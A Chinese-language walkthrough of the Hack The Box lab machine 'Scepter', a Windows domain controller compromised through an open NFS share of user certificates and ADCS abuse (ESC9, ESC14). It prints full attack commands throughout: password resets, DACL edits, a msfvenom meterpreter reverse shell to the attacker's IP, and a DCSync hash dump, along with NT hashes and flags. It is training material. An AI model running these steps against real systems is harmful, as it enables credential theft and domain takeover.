Machine - Scepter

https://app.hackthebox.com/machines/Scepter | Hard

PS：一直以为 Season 过了之后就不能白嫖靶机了…导致错过了两周的靶机…呜呜呜

前期踩点

➜  Scepter nmap -sT -min-rate 10000 -p- 10.10.11.65        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 10:18 EDT
Nmap scan report for 10.10.11.65
Host is up (0.30s latency).
Not shown: 65306 filtered tcp ports (no-response), 224 closed tcp ports (conn-refused)
PORT    STATE SERVICE
53/tcp  open  domain
111/tcp open  rpcbind
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 66.89 seconds

Windows 靶机的端口，但不一定是域控主机（PS:后面才知道我扫描出来的端口shao）

➜  Scepter nmap -sT -A -T4 -O -p 53,111,135,139,445 10.10.11.65
Nmap scan report for 10.10.11.65
Host is up (0.40s latency).

PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
111/tcp open  rpcbind?
| rpcinfo:
|   program version    port/proto  service
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  4           2049/tcp   nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Micro
soft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 143
93 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-04-24T22:05:35
|_  start_date: N/A
|_clock-skew: 7h40m16s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   464.44 ms 10.10.16.1
2   291.53 ms 10.10.11.65

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 251.59 seconds

NFS

rpcdump.py scepter.htb -target-ip 10.10.11.65

很多的信息，尝试从里面获取有用的信息，结果保存在 rpcdump_resule.txt

主机为 DC01.scepter.htb ，那就能确定是域控了

NMAP 中扫描出了靶机开启了 NFS，尝试一下匿名访问。

➜  Scepter showmount -e 10.10.11.65
Export list for 10.10.11.65:
/helpdesk (everyone)

➜  Scepter mkdir nfs
➜  Scepter sudo mount -t nfs 10.10.11.65:/helpdesk /root/Desktop/test/Scepter/nfs

➜  Scepter cd nfs   
➜  nfs ls
baker.crt  baker.key  clark.pfx  lewis.pfx  scott.pfx

To D.baker

使用 openssl 查看 baker.crt 的内容

➜  nfs_backup openssl x509 -in baker.crt -text -noout
Certificate:                                                                                                                                                                                                    
    Data:                                 
        Version: 3 (0x2)                                                                                                                                                                                        
        Serial Number:            
            62:00:00:00:32:e1:a5:c3:91:51:31:09:7b:00:00:00:00:00:32
        Signature Algorithm: sha256WithRSAEncryption 
        Issuer: DC=htb, DC=scepter, CN=scepter-DC01-CA
        Validity                       
            Not Before: Nov  2 01:13:46 2024 GMT                                                        
            Not After : Nov  2 01:13:46 2025 GMT
        Subject: DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
        Subject Public Key Info:         
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)

尝试生成 pfx 文件，用于认证的密码是 newpassword （暂时不知道如何获得，弱密码？），新设置密码为空密码

➜  nfs_backup openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:

通过 certipy-ad 提取用户 hash

➜  Scepter sudo ntpdate 10.10.11.65 | certipy-ad auth -pfx baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username d.baker
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

检查密码有效性

➜  Scepter nxc smb 10.10.11.65 -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

➜  Scepter nxc ldap 10.10.11.65 -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.65     389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

➜  Scepter bloodhound-python -u 'd.baker' -d 'scepter.htb' -ns 10.10.11.65 --zip -c All -dc 'DC01.scepter.htb' --hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce'   
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 00M 27S
INFO: Compressing output into 20250425062047_bloodhound.zip

To A.carter

权限滥用

BloodHound分析，d.baker 属于 STAFF ACCESS CERTICICATE 的

因为这个关系，d.baker 可以修改 a.carter 的密码

修改密码 123456

➜  nfs_backup changepasswd.py 'scepter.htb/a.carter@10.10.11.65' -newpass 123456 -altuser 'd.baker' -althash 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

检验是否修改成功

➜  nfs_backup nxc smb 10.10.11.65 -u a.carter -p 123456       
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] scepter.htb\a.carter:123456

To H.brown

通过 BloodHound 查看一下 a.carter 的权限。对 STAFF ACCESS CERTIFICATE 有 GenericAll 权限

赋予 a.carter 对STAFF ACCESS CERTIFICATE Fullcontrol 权限

➜  nfs_backup dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'scepter.htb'/'a.carter':'123456'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250425-071815.bak
[*] DACL modified successfully!

➜  Scepter bloodhound-python -u 'a.carter' -p '123456' -d 'scepter.htb' -ns 10.10.11.65 --zip -c All -dc 'DC01.scepter.htb' 
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 31S
INFO: Compressing output into 20250425071924_bloodhound.zip

粗略一看没找到链子，先找找下一个目标账户，查看了用户后发现 h.brown 是远程管理组成员，暂且将其作为目标用户。

ESC9

一开始给我们提供的就是证书来获得用户，所以知识点可能在 AD CS

使用 certipy 收集数据

➜  Scepter certipy-ad find -u a.carter@scepter.htb -p 123456 -dc-ip 10.10.11.65 -bloodhound                                                                                     
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'scepter-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'scepter-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'scepter-DC01-CA' via RRP
[!] Got error while trying to get CA configuration for 'scepter-DC01-CA' via RRP: The NETBIOS connection with the remote host timed out.
[!] Failed to get CA configuration for 'scepter-DC01-CA'
[*] Saved BloodHound data to '20250425111914_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k

ESC4 也有，但是我们当前的用户无法实现。最后发现 ESC9 貌似是我们当前可以利用的

利用链接：https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc9-no-security-extension

该组织属性：

属性	值
Any Purpose	False
Authorized Signatures Required	0
Certificate Authorities	scepter-DC01-CA
Certificate Name Flag	SubjectRequireEmailSubjectRequireDnsAsCnSubjectAltRequireEmail
Client Authentication	True
Display Name	StaffAccessCertificate
Enabled	True
Enrollee Supplies Subject	False
Enrollment Agent	False
Enrollment Flag	NoSecurityExtensionAutoEnrollment
Extended Key Usage	Client AuthenticationServer Authentication
Minimum RSA Key Length	2,048
Private Key Flag	16842752
Renewal Period	6 weeks
Requires Key Archival	False
Requires Manager Approval	False
Template Name	StaffAccessCertificate
Validity Period	99 years
Domain	SCEPTER.HTB
Type	Certificate Template

来自上面的链接：在此方案中，user1 对 user2 具有 GenericWrite，并希望入侵 user3。允许 user2 注册一个易受攻击的模板，该模板在 msPKI-Enrollment-Flag 值中指定 CT_FLAG_NO_SECURITY_EXTENSION 标志。

certipy-ad shadow auto -username "a.carter@scepter.htb" -p "123456" -account d.baker -dc-ip 10.10.11.65
certipy-ad account update -username "a.carter@scepter.htb" -p "123456" -user d.baker -upn h.brown -dc-ip 10.10.11.65
certipy-ad req -username "d.baker@scepter.htb" -hashes 18b5fb0d99e7a475316213c15b6f22ce -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65
certipy-ad account update -username "a.carter@scepter.htb" -p "123456" -user d.baker -upn "d.baker@scepter" -dc-ip 10.10.11.65
certipy-ad auth -pfx 'h.brown.pfx' -domain "scepter.htb" -dc-ip 10.10.11.65

执行到第三条的时候出现了如下错误

➜  ADCS certipy-ad req -username "d.baker@scepter.htb" -hashes 18b5fb0d99e7a475316213c15b6f22ce -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
[*] Request ID is 38
Would you like to save the private key? (y/N) Y
[*] Saved private key to 38.key
[-] Failed to request certificate

表明在证书申请过程中，证书颁发请求中需要包含 email 信息，但在你的请求中，email 信息缺失或无法获取。具体来说，错误 CERTSRV_E_SUBJECT_EMAIL_REQUIRED 指明，证书模板要求在 Subject 或 Subject Alternative Name (SAN) 中必须包含有效的 email 地址。

询问佬们后得知可以通过 BloodyAD 来修改，将 d.baker 的

bloodyAD -d scepter.htb -u a.carter -p 123456 --host dc01.scepter.htb set object d.baker mail -v h.brown@scepter.htb

那么命令就变为

certipy-ad shadow auto -username "a.carter@scepter.htb" -p "123456" -account d.baker -dc-ip 10.10.11.65
certipy-ad account update -username "a.carter@scepter.htb" -p "123456" -user d.baker -upn h.brown -dc-ip 10.10.11.65
bloodyAD -d scepter.htb -u a.carter -p 123456 --host dc01.scepter.htb set object d.baker mail -v h.brown@scepter.htb
certipy-ad req -username "d.baker@scepter.htb" -hashes 18b5fb0d99e7a475316213c15b6f22ce -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65
certipy-ad account update -username "a.carter@scepter.htb" -p "123456" -user d.baker -upn "d.baker@scepter" -dc-ip 10.10.11.65
certipy-ad auth -pfx 'd.baker.pfx' -domain "scepter.htb" -dc-ip 10.10.11.65 -username h.brown

最后获得 h.brown 的 TGT

➜  Scepter certipy-ad auth -pfx 'd.baker.pfx' -domain "scepter.htb" -dc-ip 10.10.11.65 -username h.brown
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

导入 TGT

➜  Scepter export KRB5CCNAME=h.brown.ccache

编写 /etc/krb5.conf

➜  Scepter cat /etc/krb5.conf                                                      
[libdefaults]
    default_realm = scepter.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    SCEPTER.HTB = {
        kdc = dc01.scepter.htb
        admin_server = dc01.haze.htb
    }

[domain_realm]
    .scepter.htb = scepter.HTB
    scepter.htb = scepter.HTB

使用evil-winrm登录

➜  Scepter ntpdate -s 10.10.11.65 ; evil-winrm -r scepter.htb -i dc01.scepter.htb -u h.brown
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: User is not needed for Kerberos auth. Ticket will be used
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents>

终于登录进来了，事不宜迟先读 user.txt

*Evil-WinRM* PS C:\Users\h.brown\Desktop> type user.txt
4e1f18052814cfb9f26a1497a8bc1cc6

收集一波数据

*Evil-WinRM* PS C:\Users\h.brown\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

*Evil-WinRM* PS C:\Users\h.brown\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                        Attributes
=========================================== ================ ========================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                               Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                               Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                               Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                               Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                   Mandatory group, Enabled by default, Enabled group
SCEPTER\CMS                                 Group            S-1-5-21-74879546-916818434-740295365-1601 Mandatory group, Enabled by default, Enabled group
SCEPTER\Protected Users                     Group            S-1-5-21-74879546-916818434-740295365-525  Mandatory group, Enabled by default, Enabled group
SCEPTER\Helpdesk Admins                     Group            S-1-5-21-74879546-916818434-740295365-1105 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Certificate  Well-known group S-1-5-65-1                                 Mandatory group, Enabled by default, Enabled group

To P.adams

ESC14 - 对 altSecurityIdentities 的写入访问权限

现在目标用户是 P.adams

枚举用户 h.brown 是否有修改某些对象（如组成员关系、ACL 或权限）的能力。

➜  Scepter bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k get writable --de
...
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

对 p.adams 的 altSecurityIdentities 可写

大概是可以利用：https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc14-a-write-access-on-altsecurityidentities | https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9

攻击者对目标的 altSecurityIdentities 属性具有写入权限。他可以将证书注册为受害者，并通过修改其 altSecurityIdentities 属性并将其指向获取的证书来为目标创建显式映射。然后，可以使用该证书作为目标进行身份验证。

攻击根据：https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9 的 ESC14场景A

先使用 h.brown 来进行上线 MSF，后续一些操作在evil-winrm中操作会有bug

➜  Scepter msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.59 lport=1234 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

➜  Scepter msfconsole 
Metasploit tip: View all productivity tips with the tips command

_                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
|/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

=[ metasploit v6.4.34-dev                          ]
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post       ]
+ -- --=[ 1471 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[*] Starting persistent handler(s)...
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 1234
lport => 1234
msf6 exploit(multi/handler) > set lhost 10.10.16.59
lhost => 10.10.16.59
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.59:1234

*Evil-WinRM* PS C:\Users\h.brown\Documents> upload shell.exe
                                        
Info: Uploading /root/Desktop/test/Scepter/shell.exe to C:\Users\h.brown\Documents\shell.exe
                                        
Data: 98400 bytes of 98400 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\h.brown\Documents> ./shell.exe

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.59:1234 
[*] Sending stage (177734 bytes) to 10.10.11.65
[*] Meterpreter session 1 opened (10.10.16.59:1234 -> 10.10.11.65:60515) at 2025-04-26 06:25:04 -0400

meterpreter >

创建计算机账户 ciallo

➜  Scepter bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 123456 add computer ciallo 123456
[+] ciallo created

通过 certipy 请求证书

➜  Scepter certipy-ad req -username "ciallo$" -p 123456 -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'Machine' -dc-ip 10.10.11.65 -debug

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc01.scepter.htb' at '10.10.11.65'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.65[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.65[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with DNS Host Name 'ciallo.scepter.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9104'
[*] Saved certificate and private key to 'ciallo.pfx'

将证书转换为crt并查看信息

➜  Scepter certipy-ad cert -pfx ciallo.pfx -nokey -out ciallo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'ciallo.crt'

➜  Scepter openssl x509 -in ciallo.crt -noout -serial -issuer
serial=620000001B02CCD1DA2D79435E00000000001B
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA

我们使用证书中的序列号和颁发者 distinguishedName 来获取 X509IssuerSerialNumber 映射格式

使用 GPT 来根据脚本：https://github.com/JonasBK/Powershell/blob/master/Get-X509IssuerSerialNumberFormat.ps1 改编为 Python 脚本，并运行。

import argparse

def convert(serial, issuer):
    serial = serial.replace(':', '').lower()
    serial_bytes = bytearray.fromhex(serial)
    serial_bytes.reverse()
    serial_hex = ''.join(['%02x' % b for b in serial_bytes])
    
    # 拆分 issuer，并反转顺序
    issuer_parts = issuer.split(',')
    issuer_parts = [p.strip() for p in issuer_parts]
    issuer_parts.reverse()  # 反转顺序，这里不改
    issuer_str = ','.join(issuer_parts)
    
    # 调整输出顺序：确保 "DC=scepter,DC=htb" 在 "CN=scepter-DC01-CA" 之前
    issuer_str = issuer_str.replace("CN=", "").replace("DC=", "CN=").replace(",", ",DC=").strip()
    
    print(f"X509:<I>{issuer_str}<SR>{serial_hex}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-serial', required=True, help='Certificate serial (colon separated)')
    parser.add_argument('-issuer', required=True, help='Certificate issuer')
    args = parser.parse_args()
    
    convert(args.serial, args.issuer)

➜  Scepter python Get-X509IssuerSerialNumberFormat.py
X509:<I>CN=scepter-DC01-CA,DC=scepter,DC=htb<SR>B10000000000E53497D2AD1DCC20B100000026

通过 PowerShell 更改用户 h.brown 的 altSecurityIdentities 属性（GPT）

$map = 'X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-CA<SR>2800000000008dde9c88b25b6ad22800000062'
Set-ADUser p.adams -Replace @{altSecurityIdentities=$map}

meterpreter > shell
Process 4920 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7131]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\h.brown\Documents>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\h.brown\Documents> $map = 'X509:<I>CN=scepter-DC01-CA,DC=scepter,DC=htb<SR>170000000000f4a3741fa7d9137b1700000062'
$map = 'X509:<I>CN=scepter-DC01-CA,DC=scepter,DC=htb<SR>170000000000f4a3741fa7d9137b1700000062'
PS C:\Users\h.brown\Documents> Set-ADUser -Identity "p.adams" -Replace @{altSecurityIdentities=$map}
Set-ADUser -Identity "p.adams" -Replace @{altSecurityIdentities=$map}

查看更改后的属性值

Get-ADUser -Identity "p.adams" -Properties altSecurityIdentities | Select-Object altSecurityIdentities

通过 certipy 根据计算机账户的证书 ciallo.pfx 申请用户 p.adams 的 TGT

➜  Scepter certipy-ad auth -pfx ciallo.pfx -dc-ip 10.10.11.65 -username p.adams
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] The provided username does not match the identification found in the provided certificate: 'P.ADAMS' - 'ciallo$'
Do you want to continue? (Y/n) y
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

直接 DCSync

➜  Scepter secretsdump.py -k -no-pass dc01.scepter.htb -dc-ip 10.10.11.65                                       
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
                                                                                                               
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
...many...

➜  Scepter evil-winrm -i dc01.scepter.htb -u administrator -H a291ead3493f9773dc615e66c2ea21c4
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
fcd40eb94aeca1942488f8decb6cc0b7

总结

反正就是每次打AD都是不会的，靠大佬带过的…

第一次遇到 ADCS 类的攻击，无从下手，任重道远。

HackTheBox - Machine - Scepter